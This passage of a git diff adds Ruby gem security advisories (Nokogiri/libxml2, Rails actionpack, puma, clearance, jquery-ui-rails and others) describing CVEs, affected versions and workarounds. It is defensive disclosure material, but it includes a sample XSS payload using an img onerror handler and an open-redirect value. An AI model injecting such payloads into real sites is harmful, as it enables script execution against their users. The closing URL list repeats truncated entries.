+    Upgrade to Nokogiri `>= 1.11.4`.
+
+
+    ### Impact
+
+    I've done a brief analysis of the published CVEs that are addressed in this upstream release. The libxml2 maintainers have not released a canonical set of CVEs, and so this list is pieced together from secondary sources and may be incomplete.
+
+    All information below is sourced from [security.archlinux.org](https://security.archlinux.org), which appears to have the most up-to-date information as of this analysis.
+
+    #### [CVE-2019-20388](https://security.archlinux.org/CVE-2019-20388)
+
+    - **Severity**: Medium
+    - **Type**: Denial of service
+    - **Description**: A memory leak was found in the xmlSchemaValidateStream function of libxml2. Applications that use this library may be vulnerable to memory not being freed leading to a denial of service.
+    - **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/commit/7ffcd44d7e6c46704f8af0321d9314cd26e0e18a
+
+    Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
+
+
+    #### [CVE-2020-7595](https://security.archlinux.org/CVE-2020-7595)
+
+    - **Severity**: Medium
+    - **Type**: Denial of service
+    - **Description**: xmlStringLenDecodeEntities in parser.c in libxml2 2.9.10 has an infinite loop in a certain end-of-file situation.
+    - **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/commit/0e1a49c8907645d2e155f0d89d4d9895ac5112b5
+
+    This has been patched in Nokogiri since v1.10.8 (see #1992).
+
+
+    #### [CVE-2020-24977](https://security.archlinux.org/CVE-2020-24977)
+
+    - **Severity**: Medium
+    - **Type**: Information disclosure
+    - **Description**: GNOME project libxml2 <= 2.9.10 has a global buffer over-read vulnerability in xmlEncodeEntitiesInternal at libxml2/entities.c.
+    - **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/commit/50f06b3efb638efb0abd95dc62dca05ae67882c2
+
+    Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
+
+
+    #### [CVE-2021-3516](https://security.archlinux.org/CVE-2021-3516)
+
+    - **Severity**: Medium
+    - **Type**: Arbitrary code execution (no remote vector)
+    - **Description**: A use-after-free security issue was found libxml2 before version 2.9.11 when "xmllint --html --push" is used to process crafted files.
+    - **Issue**: https://gitlab.gnome.org/GNOME/libxml2/-/issues/230
+    - **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/-/commit/1358d157d0bd83be1dfe356a69213df9fac0b539
+
+    Verified that the fix commit first appears in v2.9.11. This vector does not exist within Nokogiri, which does not ship `xmllint`.
+
+
+    #### [CVE-2021-3517](https://security.archlinux.org/CVE-2021-3517)
+
+    - **Severity**: Medium
+    - **Type**: Arbitrary code execution
+    - **Description**: A heap-based buffer overflow was found in libxml2 before version 2.9.11 when processing truncated UTF-8 input.
+    - **Issue**: https://gitlab.gnome.org/GNOME/libxml2/-/issues/235
+    - **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/-/commit/bf22713507fe1fc3a2c4b525cf0a88c2dc87a3a2
+
+    Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
+
+
+    #### [CVE-2021-3518](https://security.archlinux.org/CVE-2021-3518)
+
+    - **Severity**: Medium
+    - **Type**: Arbitrary code execution
+    - **Description**: A use-after-free security issue was found in libxml2 before version 2.9.11 in xmlXIncludeDoProcess() in xinclude.c when processing crafted files.
+    - **Issue**: https://gitlab.gnome.org/GNOME/libxml2/-/issues/237
+    - **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/-/commit/1098c30a040e72a4654968547f415be4e4c40fe7
+
+    Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
+
+
+    #### [CVE-2021-3537](https://security.archlinux.org/CVE-2021-3537)
+
+    - **Severity**: Low
+    - **Type**: Denial of service
+    - **Description**: It was found that libxml2 before version 2.9.11 did not propagate errors while parsing XML mixed content, causing a NULL dereference. If an untrusted XML document was parsed in recovery mode and post-validated, the flaw could be used to crash the application.
+    - **Issue**: https://gitlab.gnome.org/GNOME/libxml2/-/issues/243
+    - **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/-/commit/babe75030c7f64a37826bb3342317134568bef61
+
+    Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
+
+
+    #### [CVE-2021-3541](https://security.archlinux.org/CVE-2021-3541)
+
+    - **Severity**: Low
+    - **Type**: Denial of service
+    - **Description**: A security issue was found in libxml2 before version 2.9.11. Exponential entity expansion attack its possible bypassing all existing protection mechanisms and leading to denial of service.
+    - **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/-/commit/8598060bacada41a0eb09d95c97744ff4e428f8e
+
+    Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4, however Nokogiri's default parse options prevent the attack from succeeding (it is necessary to opt into `DTDLOAD` which is off by default).
+
+    For more details supporting this analysis of this CVE, please visit #2233.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.11.4"
+  related:
+    cve:
+    - 2019-20388
+    - 2020-24977
+    - 2020-7595
+    - 2021-3516
+    - 2021-3517
+    - 2021-3518
+    - 2021-3537
+    - 2021-3541
+---
diff --git a/advisories/_posts/2021-05-18-CVE-2021-32823.md b/advisories/_posts/2021-05-18-CVE-2021-32823.md
new file mode 100644
index 00000000..b13ac002
--- /dev/null
+++ b/advisories/_posts/2021-05-18-CVE-2021-32823.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2021-32823 (bindata): Potential Denial-of-Service in bindata'
+comments: false
+categories:
+- bindata
+advisory:
+  gem: bindata
+  cve: 2021-32823
+  ghsa: hj56-84jw-67h6
+  url: https://github.com/rubysec/ruby-advisory-db/issues/476
+  date: 2021-05-18
+  title: Potential Denial-of-Service in bindata
+  description: |
+    In bindata before version 2.4.10, there is a potential denial-of-service
+    vulnerability. In affected versions, it is very slow for certain classes in BinData
+    to be created. For example BinData::Bit100000, BinData::Bit100001, BinData::Bit100002,
+    BinData::Bit<N>. In combination with `<user_input>.constantize` there is a potential
+    for a CPU-based DoS. In version 2.4.10, bindata improved the creation time of Bits
+    and Integers.
+  cvss_v3: 3.7
+  patched_versions:
+  - ">= 2.4.10"
+---
diff --git a/advisories/_posts/2021-05-24-CVE-2020-13163.md b/advisories/_posts/2021-05-24-CVE-2020-13163.md
new file mode 100644
index 00000000..3b48ec55
--- /dev/null
+++ b/advisories/_posts/2021-05-24-CVE-2020-13163.md
@@ -0,0 +1,19 @@
+---
+layout: advisory
+title: 'CVE-2020-13163 (em-imap): Improper certificate validation in em-imap'
+comments: false
+categories:
+- em-imap
+advisory:
+  gem: em-imap
+  cve: 2020-13163
+  ghsa: 4f68-49qq-h392
+  url: https://github.com/advisories/GHSA-4f68-49qq-h392
+  date: 2021-05-24
+  title: Improper certificate validation in em-imap
+  description: |
+    em-imap 0.5 and earlier use the library eventmachine in an insecure way
+    that allows an attacker to perform a man-in-the-middle attack against users of the
+    library. The hostname in a TLS server certificate is not verified.
+  cvss_v3: 7.4
+---
diff --git a/advisories/_posts/2021-05-24-CVE-2020-13482.md b/advisories/_posts/2021-05-24-CVE-2020-13482.md
new file mode 100644
index 00000000..d4900db9
--- /dev/null
+++ b/advisories/_posts/2021-05-24-CVE-2020-13482.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2020-13482 (em-http-request): Improper Certificate Validation in EM-HTTP-Request'
+comments: false
+categories:
+- em-http-request
+advisory:
+  gem: em-http-request
+  cve: 2020-13482
+  ghsa: q27f-v3r6-9v77
+  url: https://github.com/advisories/GHSA-q27f-v3r6-9v77
+  date: 2021-05-24
+  title: Improper Certificate Validation in EM-HTTP-Request
+  description: |
+    EM-HTTP-Request 1.1.5 uses the library eventmachine in an insecure way
+    that allows an attacker to perform a man-in-the-middle attack against users of the
+    library. The hostname in a TLS server certificate is not verified.
+  cvss_v3: 7.4
+  patched_versions:
+  - ">= 1.1.6"
+---
diff --git a/advisories/_posts/2021-05-24-CVE-2020-7659.md b/advisories/_posts/2021-05-24-CVE-2020-7659.md
new file mode 100644
index 00000000..6971a733
--- /dev/null
+++ b/advisories/_posts/2021-05-24-CVE-2020-7659.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2020-7659 (reel): HTTP Request Smuggling in reel'
+comments: false
+categories:
+- reel
+advisory:
+  gem: reel
+  cve: 2020-7659
+  ghsa: x3v4-pxvm-63j8
+  url: https://github.com/advisories/GHSA-x3v4-pxvm-63j8
+  date: 2021-05-24
+  title: HTTP Request Smuggling in reel
+  description: |
+    reel through 0.6.1 allows Request Smuggling attacks due to incorrect
+    Content-Length and Transfer encoding header parsing. It is possible to conduct HTTP
+    request smuggling attacks by sending the Content-Length header twice. Furthermore,
+    invalid Transfer Encoding headers were found to be parsed as valid which could be
+    leveraged for TECL smuggling attacks. Note, This project is deprecated, and is not
+    maintained any more.
+  cvss_v3: 7.5
+---
diff --git a/advisories/_posts/2021-05-24-CVE-2020-7671.md b/advisories/_posts/2021-05-24-CVE-2020-7671.md
new file mode 100644
index 00000000..46b7c79c
--- /dev/null
+++ b/advisories/_posts/2021-05-24-CVE-2020-7671.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2020-7671 (goliath): HTTP Request Smuggling in goliath'
+comments: false
+categories:
+- goliath
+advisory:
+  gem: goliath
+  cve: 2020-7671
+  ghsa: 3892-2r52-p65m
+  url: https://github.com/advisories/GHSA-3892-2r52-p65m
+  date: 2021-05-24
+  title: HTTP Request Smuggling in goliath
+  description: |
+    goliath through 1.0.6 allows request smuggling attacks where goliath
+    is used as a backend and a frontend proxy also being vulnerable. It is possible
+    to conduct HTTP request smuggling attacks by sending the Content-Length header twice.
+    Furthermore, invalid Transfer Encoding headers were found to be parsed as valid
+    which could be leveraged for TE:CL smuggling attacks.
+  cvss_v3: 7.5
+---
diff --git a/advisories/_posts/2021-06-02-CVE-2021-33564.md b/advisories/_posts/2021-06-02-CVE-2021-33564.md
new file mode 100644
index 00000000..a908e2b8
--- /dev/null
+++ b/advisories/_posts/2021-06-02-CVE-2021-33564.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2021-33564 (dragonfly): Remote code execution in Dragonfly'
+comments: false
+categories:
+- dragonfly
+advisory:
+  gem: dragonfly
+  cve: 2021-33564
+  ghsa: j858-xp5v-f8xx
+  url: https://github.com/advisories/GHSA-j858-xp5v-f8xx
+  date: 2021-06-02
+  title: Remote code execution in Dragonfly
+  description: |
+    An argument injection vulnerability in the Dragonfly gem before 1.4.0
+    for Ruby allows remote attackers to read and write to arbitrary files via a crafted
+    URL when the verify_url option is disabled. This may lead to code execution. The
+    problem occurs because the generate and process features mishandle use of the ImageMagick
+    convert utility.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.4.0"
+---
diff --git a/advisories/_posts/2021-06-10-CVE-2021-20259.md b/advisories/_posts/2021-06-10-CVE-2021-20259.md
new file mode 100644
index 00000000..552c461f
--- /dev/null
+++ b/advisories/_posts/2021-06-10-CVE-2021-20259.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2021-20259 (foreman_fog_proxmox): Exposure of Sensitive Information to
+  an Unauthorized Actor in foreman_fog_proxmox'
+comments: false
+categories:
+- foreman_fog_proxmox
+advisory:
+  gem: foreman_fog_proxmox
+  cve: 2021-20259
+  ghsa: f2rp-4rv7-fc95
+  url: https://github.com/advisories/GHSA-f2rp-4rv7-fc95
+  date: 2021-06-10
+  title: Exposure of Sensitive Information to an Unauthorized Actor in foreman_fog_proxmox
+  description: |
+    A flaw was found in the Foreman project. The Proxmox compute resource
+    exposes the password through the API to an authenticated local attacker with view_hosts
+    permission. The highest threat from this vulnerability is to data confidentiality
+    and integrity as well as system availability. Versions before foreman_fog_proxmox
+    0.13.1 are affected
+  cvss_v3: 7.8
+  patched_versions:
+  - ">= 0.13.1"
+---
diff --git a/advisories/_posts/2021-07-02-CVE-2021-35514.md b/advisories/_posts/2021-07-02-CVE-2021-35514.md
new file mode 100644
index 00000000..8bfba2e9
--- /dev/null
+++ b/advisories/_posts/2021-07-02-CVE-2021-35514.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2021-35514 (narou): Code injection in Narou'
+comments: false
+categories:
+- narou
+advisory:
+  gem: narou
+  cve: 2021-35514
+  ghsa: gwrj-88fp-5m36
+  url: https://github.com/advisories/GHSA-gwrj-88fp-5m36
+  title: Code injection in Narou
+  date: 2021-07-02
+  description: |
+    Narou (aka Narou.rb) before 3.8.0 allows Ruby Code Injection via the
+    title name or author name of a novel.
+  cvss_v3: 8.5
+  patched_versions:
+  - ">= 3.8.0"
+---
diff --git a/advisories/_posts/2021-07-12-CVE-2021-32740.md b/advisories/_posts/2021-07-12-CVE-2021-32740.md
new file mode 100644
index 00000000..974da9c5
--- /dev/null
+++ b/advisories/_posts/2021-07-12-CVE-2021-32740.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2021-32740 (addressable): Regular Expression Denial of Service in Addressable
+  templates'
+comments: false
+categories:
+- addressable
+advisory:
+  gem: addressable
+  cve: 2021-32740
+  ghsa: jxhc-q857-3j6g
+  url: https://github.com/advisories/GHSA-jxhc-q857-3j6g
+  date: 2021-07-12
+  title: Regular Expression Denial of Service in Addressable templates
+  description: |
+    Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption,
+    leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input,
+    but nonetheless, no previous security advisory for Addressable has cautioned against doing this.
+    Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 2.3.0"
+  patched_versions:
+  - ">= 2.8.0"
+---
diff --git a/advisories/_posts/2021-08-02-CVE-2021-28796.md b/advisories/_posts/2021-08-02-CVE-2021-28796.md
new file mode 100644
index 00000000..808f9602
--- /dev/null
+++ b/advisories/_posts/2021-08-02-CVE-2021-28796.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2021-28796 (qiita-markdown): Cross-Site Scripting in Qiita::Markdown'
+comments: false
+categories:
+- qiita-markdown
+advisory:
+  gem: qiita-markdown
+  cve: 2021-28796
+  ghsa: f2c9-5jqw-3xh3
+  url: https://github.com/advisories/GHSA-f2c9-5jqw-3xh3
+  title: Cross-Site Scripting in Qiita::Markdown
+  date: 2021-08-02
+  description: 'Increments Qiita::Markdown before 0.33.0 allows XSS in transformers.
+
+    '
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 0.33.0"
+---
diff --git a/advisories/_posts/2021-08-02-CVE-2021-28833.md b/advisories/_posts/2021-08-02-CVE-2021-28833.md
new file mode 100644
index 00000000..851733ba
--- /dev/null
+++ b/advisories/_posts/2021-08-02-CVE-2021-28833.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2021-28833 (qiita-markdown): XSS in qiita-markdown'
+comments: false
+categories:
+- qiita-markdown
+advisory:
+  gem: qiita-markdown
+  cve: 2021-28833
+  ghsa: 9p29-94hp-8rvc
+  url: https://github.com/advisories/GHSA-9p29-94hp-8rvc
+  title: XSS in qiita-markdown
+  date: 2021-08-02
+  description: |
+    Increments Qiita::Markdown before 0.34.0 allows XSS via a crafted gist
+    link, a different vulnerability than CVE-2021-28796.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 0.34.0"
+---
diff --git a/advisories/_posts/2021-08-19-CVE-2021-22942.md b/advisories/_posts/2021-08-19-CVE-2021-22942.md
new file mode 100644
index 00000000..032c72bd
--- /dev/null
+++ b/advisories/_posts/2021-08-19-CVE-2021-22942.md
@@ -0,0 +1,85 @@
+---
+layout: advisory
+title: 'CVE-2021-22942 (actionpack): Possible Open Redirect in Host Authorization
+  Middleware'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2021-22942
+  ghsa: 2rqw-v265-jf8c
+  url: https://groups.google.com/g/rubyonrails-security/c/wB5tRn7h36c
+  title: Possible Open Redirect in Host Authorization Middleware
+  date: 2021-08-19
+  description: |
+    There is a possible open redirect vulnerability in the Host Authorization
+    middleware in Action Pack. This vulnerability has been assigned the CVE
+    identifier CVE-2021-22942.
+
+    Versions Affected: >= 6.0.0.
+    Not affected: < 6.0.0
+    Fixed Versions: 6.1.4.1, 6.0.4.1
+
+    Impact
+    ------
+
+    Specially crafted “X-Forwarded-Host” headers in combination with certain
+    “allowed host” formats can cause the Host Authorization middleware in
+    Action Pack to redirect users to a malicious website.
+
+    Impacted applications will have allowed hosts with a leading dot.
+    For example, configuration files that look like this:
+
+    ```ruby
+    config.hosts <<  '.EXAMPLE.com'
+    ```
+
+    When an allowed host contains a leading dot, a specially crafted
+    Host header can be used to redirect to a malicious website.
+
+    This vulnerability is similar to CVE-2021-22881, but CVE-2021-22881 did not
+    take in to account domain name case sensitivity.
+
+    Releases
+    --------
+
+    The fixed releases are available at the normal locations.
+
+    Workarounds
+    -----------
+
+    In the case a patch can’t be applied, the following monkey patch can be
+    used in an initializer:
+
+    ```ruby
+    module ActionDispatch
+      class HostAuthorization
+        HOSTNAME = /[a-z0-9.-]+|\[[a-f0-9]*:[a-f0-9.:]+\]/i
+        VALID_ORIGIN_HOST = /\A(#{HOSTNAME})(?::\d+)?\z/
+        VALID_FORWARDED_HOST = /(?:\A|,[ ]?)(#{HOSTNAME})(?::\d+)?\z/
+
+        private
+          def authorized?(request)
+            origin_host =
+              request.get_header("HTTP_HOST")&.slice(VALID_ORIGIN_HOST, 1) || ""
+            forwarded_host =
+              request.x_forwarded_host&.slice(VALID_FORWARDED_HOST, 1) || ""
+            @permissions.allows?(origin_host) &&
+              (forwarded_host.blank? || @permissions.allows?(forwarded_host))
+          end
+      end
+    end
+    ```
+  cvss_v3: 7.6
+  unaffected_versions:
+  - "< 6.0.0"
+  patched_versions:
+  - "~> 6.0.4, >= 6.0.4.1"
+  - ">= 6.1.4.1"
+  related:
+    cve:
+    - 2021-22881
+---
diff --git a/advisories/_posts/2021-09-07-CVE-2021-39197.md b/advisories/_posts/2021-09-07-CVE-2021-39197.md
new file mode 100644
index 00000000..a4ea33b0
--- /dev/null
+++ b/advisories/_posts/2021-09-07-CVE-2021-39197.md
@@ -0,0 +1,37 @@
+---
+layout: advisory
+title: 'CVE-2021-39197 (better_errors): Older releases of better_errors open to Cross-Site
+  Request Forgery attack'
+comments: false
+categories:
+- better_errors
+advisory:
+  gem: better_errors
+  cve: 2021-39197
+  ghsa: w3j4-76qw-wwjm
+  url: https://github.com/BetterErrors/better_errors/security/advisories/GHSA-w3j4-76qw-wwjm
+  title: Older releases of better_errors open to Cross-Site Request Forgery attack
+  date: 2021-09-07
+  description: |
+    ### Impact
+    better_errors prior to 2.8.0 did not implement CSRF protection for its internal requests. It also did not enforce the correct "Content-Type" header for these requests, which allowed a cross-origin "simple request" to be made without CORS protection. These together left an application with better_errors enabled open to cross-origin attacks.
+
+    _As a developer tool, better_errors documentation strongly recommends addition only to the `development` bundle group, so this vulnerability should only affect development environments. Please ensure that your project limits better_errors to the `development` group (or the non-Rails equivalent)._
+
+    ### Patches
+    Starting with release 2.8.x, CSRF protection is enforced. It is recommended that you upgrade to the latest release, or minimally to "~> 2.8.3".
+
+    ### Workarounds
+    There are no known workarounds to mitigate the risk of using older releases of better_errors.
+
+    ### References
+    - Chris Moberly provided [an example attack that uses a now-patched vulnerability of webpack-dev-server in conjunction with Better Errors](https://about.gitlab.com/blog/2021/09/07/why-are-developers-vulnerable-to-driveby-attacks/)
+
+    ### For more information
+    If you have any questions or comments about this advisory, please
+    - Add to the [discussion in better_errors](https://github.com/BetterErrors/better_errors/discussions/507)
+    - Open an issue in [better_errors](https://github.com/BetterErrors/better_errors)
+  cvss_v3: 6.3
+  patched_versions:
+  - ">= 2.8.0"
+---
diff --git a/advisories/_posts/2021-09-13-CVE-2021-23435.md b/advisories/_posts/2021-09-13-CVE-2021-23435.md
new file mode 100644
index 00000000..88c8ccda
--- /dev/null
+++ b/advisories/_posts/2021-09-13-CVE-2021-23435.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2021-23435 (clearance): Open Redirect in clearance'
+comments: false
+categories:
+- clearance
+advisory:
+  gem: clearance
+  cve: 2021-23435
+  ghsa: 4hpq-rjcx-7vj9
+  url: https://github.com/advisories/GHSA-4hpq-rjcx-7vj9
+  title: Open Redirect in clearance
+  date: 2021-09-13
+  description: |
+    This affects the package clearance before 2.5.0. The vulnerability can
+    be possible when users are able to set the value of session[:return_to]. If the
+    value used for return_to contains multiple leading slashes (/////example.com) the
+    user ends up being redirected to the external domain that comes after the slashes
+    (http://example.com).
+  cvss_v3: 7.6
+  patched_versions:
+  - ">= 2.5.0"
+---
diff --git a/advisories/_posts/2021-09-27-CVE-2021-41098.md b/advisories/_posts/2021-09-27-CVE-2021-41098.md
new file mode 100644
index 00000000..fd0a95c4
--- /dev/null
+++ b/advisories/_posts/2021-09-27-CVE-2021-41098.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2021-41098 (nokogiri): Improper Restriction of XML External Entity Reference
+  (XXE) in Nokogiri on JRuby'
+comments: false
+categories:
+- nokogiri
+- jruby
+advisory:
+  gem: nokogiri
+  platform: jruby
+  cve: 2021-41098
+  ghsa: 2rr5-8q37-2w7h
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-2rr5-8q37-2w7h
+  title: Improper Restriction of XML External Entity Reference (XXE) in Nokogiri on
+    JRuby
+  date: 2021-09-27
+  description: |
+    ### Severity
+
+    The Nokogiri maintainers have evaluated this as [**High Severity** 7.5 (CVSS3.0)](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C/MAV:N/MAC:L) for JRuby users. (This security advisory does not apply to CRuby users.)
+
+    ### Impact
+
+    In Nokogiri v1.12.4 and earlier, **on JRuby only**, the SAX parser resolves external entities by default.
+
+    Users of Nokogiri on JRuby who parse untrusted documents using any of these classes are affected:
+
+    - Nokogiri::XML::SAX::Parser
+    - Nokogiri::HTML4::SAX::Parser or its alias Nokogiri::HTML::SAX::Parser
+    - Nokogiri::XML::SAX::PushParser
+    - Nokogiri::HTML4::SAX::PushParser or its alias Nokogiri::HTML::SAX::PushParser
+
+    ### Mitigation
+
+    JRuby users should upgrade to Nokogiri v1.12.5 or later. There are no workarounds available for v1.12.4 or earlier.
+
+    CRuby users are not affected.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.12.5"
+---
diff --git a/advisories/_posts/2021-10-06-CVE-2021-30151.md b/advisories/_posts/2021-10-06-CVE-2021-30151.md
new file mode 100644
index 00000000..c96c89ea
--- /dev/null
+++ b/advisories/_posts/2021-10-06-CVE-2021-30151.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2021-30151 (sidekiq): Cross-site Scripting in Sidekiq'
+comments: false
+categories:
+- sidekiq
+advisory:
+  gem: sidekiq
+  cve: 2021-30151
+  ghsa: grh7-935j-hg6w
+  url: https://github.com/advisories/GHSA-grh7-935j-hg6w
+  title: Cross-site Scripting in Sidekiq
+  date: 2021-10-06
+  description: |
+    Sidekiq through 5.1.3 and 6.x through 6.2.0 allows XSS via the queue
+    name of the live-poll feature when Internet Explorer is used.
+  cvss_v3: 6.1
+  patched_versions:
+  - "~> 5.2.0"
+  - ">= 6.2.1"
+---
diff --git a/advisories/_posts/2021-10-06-CVE-2021-33575.md b/advisories/_posts/2021-10-06-CVE-2021-33575.md
new file mode 100644
index 00000000..b65e96d6
--- /dev/null
+++ b/advisories/_posts/2021-10-06-CVE-2021-33575.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2021-33575 (ruby-jss): Remote code execution in ruby-jss'
+comments: false
+categories:
+- ruby-jss
+advisory:
+  gem: ruby-jss
+  cve: 2021-33575
+  ghsa: vmfh-c547-v45h
+  url: https://github.com/advisories/GHSA-vmfh-c547-v45h
+  title: Remote code execution in ruby-jss
+  date: 2021-10-06
+  description: |
+    The Pixar ruby-jss gem before 1.6.0 allows remote attackers to execute
+    arbitrary code because of the Plist gem's documented behavior of using Marshal.load
+    during XML document processing.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.6.0"
+---
diff --git a/advisories/_posts/2021-10-12-CVE-2021-41136.md b/advisories/_posts/2021-10-12-CVE-2021-41136.md
new file mode 100644
index 00000000..866dc274
--- /dev/null
+++ b/advisories/_posts/2021-10-12-CVE-2021-41136.md
@@ -0,0 +1,54 @@
+---
+layout: advisory
+title: 'CVE-2021-41136 (puma): Inconsistent Interpretation of HTTP Requests (''HTTP
+  Request Smuggling'') in puma'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2021-41136
+  ghsa: 48w2-rm65-62xx
+  url: https://github.com/puma/puma/security/advisories/GHSA-48w2-rm65-62xx
+  title: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') in
+    puma
+  date: 2021-10-12
+  description: |
+    ### Impact
+
+    Prior to `puma` version 5.5.0, using `puma` with a proxy which forwards LF characters as line endings could allow HTTP request smuggling. A client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client.
+
+    This behavior (forwarding LF characters as line endings) is very uncommon amongst proxy servers, so we have graded the impact here as "low". Puma is only aware of a single proxy server which has this behavior.
+
+    If the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request's body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.
+
+    ### Patches
+
+    This vulnerability was patched in Puma 5.5.1 and 4.3.9.
+
+    ### Workarounds
+
+    This vulnerability only affects Puma installations without any proxy in front.
+
+    Use a proxy which does not forward LF characters as line endings.
+
+    Proxies which do not forward LF characters as line endings:
+
+    * Nginx
+    * Apache (>2.4.25)
+    * Haproxy
+    * Caddy
+    * Traefik
+
+    ### Possible Breakage
+
+    If you are [dealing with legacy clients that want to send `LF` as a line ending](https://stackoverflow.com/questions/43574428/have-apache-accept-lf-vs-crlf-in-request-headers) in an HTTP header, this will cause those clients to receive a `400` error.
+
+    ### References
+
+    * [HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
+  cvss_v3: 3.7
+  patched_versions:
+  - "~> 4.3.9"
+  - ">= 5.5.1"
+---
diff --git a/advisories/_posts/2021-10-26-CVE-2021-41182.md b/advisories/_posts/2021-10-26-CVE-2021-41182.md
new file mode 100644
index 00000000..241bc18b
--- /dev/null
+++ b/advisories/_posts/2021-10-26-CVE-2021-41182.md
@@ -0,0 +1,72 @@
+---
+layout: advisory
+title: 'CVE-2021-41182 (jquery-ui-rails): XSS in the `altField` option of the Datepicker
+  widget in jquery-ui'
+comments: false
+categories:
+- jquery-ui-rails
+advisory:
+  gem: jquery-ui-rails
+  cve: 2021-41182
+  ghsa: 9gj3-hwp5-pmwc
+  url: https://github.com/jquery/jquery-ui/security/advisories/GHSA-9gj3-hwp5-pmwc
+  title: XSS in the `altField` option of the Datepicker widget in jquery-ui
+  date: 2021-10-26
+  description: |
+    ### Impact
+    Accepting the value of the `altField` option of the Datepicker
+    widget from untrusted sources may execute untrusted code. For
+    example, initializing the datepicker in the following way:
+    ```js
+    $("#datepicker").datepicker( {
+      altField: "<img onerror='doEvilThing()' src='/404' >",
+    } );
+    ```
+    will call the `doEvilThing` function.
+
+    ### Patches
+    The issue is fixed in jQuery UI 1.13.0. Any string value passed to
+    the `altField` option is now treated as a CSS selector.
+
+    ### Workarounds
+
+    A workaround is to not accept the value of the `altField` option
+    from untrusted sources.
+
+    ### For more information
+
+    If you have any questions or comments about this advisory, search
+    for a relevant issue in
+    [the jQuery UI repo](https://github.com/jquery/jquery-ui/issues).
+    If you don't find an answer, open a new issue."
+  cvss_v2: 4.3
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 7.0.0"
+  related:
+    url:
+    - https://github.com/jquery/jquery-ui/security/advisories/GHSA-9gj3-hwp5-pmwc
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-41182
+    - https://github.com/jquery/jquery-ui/pull/1954/commits/6809ce843e5ac4128108ea4c15cbc100653c2b63
+    - https://blog.jqueryui.com/2021/10/jquery-ui-1-13-0-released/
+    - https://security.netapp.com/advisory/ntap-20211118-0004/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NXIUUBRVLA4E7G7MMIKCEN75YN7UFERW/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O74SXYY7RGXREQDQUDQD4BPJ4QQTD2XQ/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SNXA7XRKGINWSUIPIZ6ZBCTV6N3KSHES/
+    - https://lists.debian.org/debian-lts-announce/2022/01/msg00014.html
+    - https://www.drupal.org/sa-contrib-2022-004
+    - https://www.drupal.org/sa-core-2022-002
+    - https://www.oracle.com/security-alerts/cpuapr2022.html
+    - https://www.tenable.com/security/tns-2022-09
+    - https://www.oracle.com/security-alerts/cpujul2022.html
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HVKIOWSXL2RF2ULNAP7PHESYCFSZIJE3/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SGSY236PYSFYIEBRGDERLA7OSY6D7XL4/
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
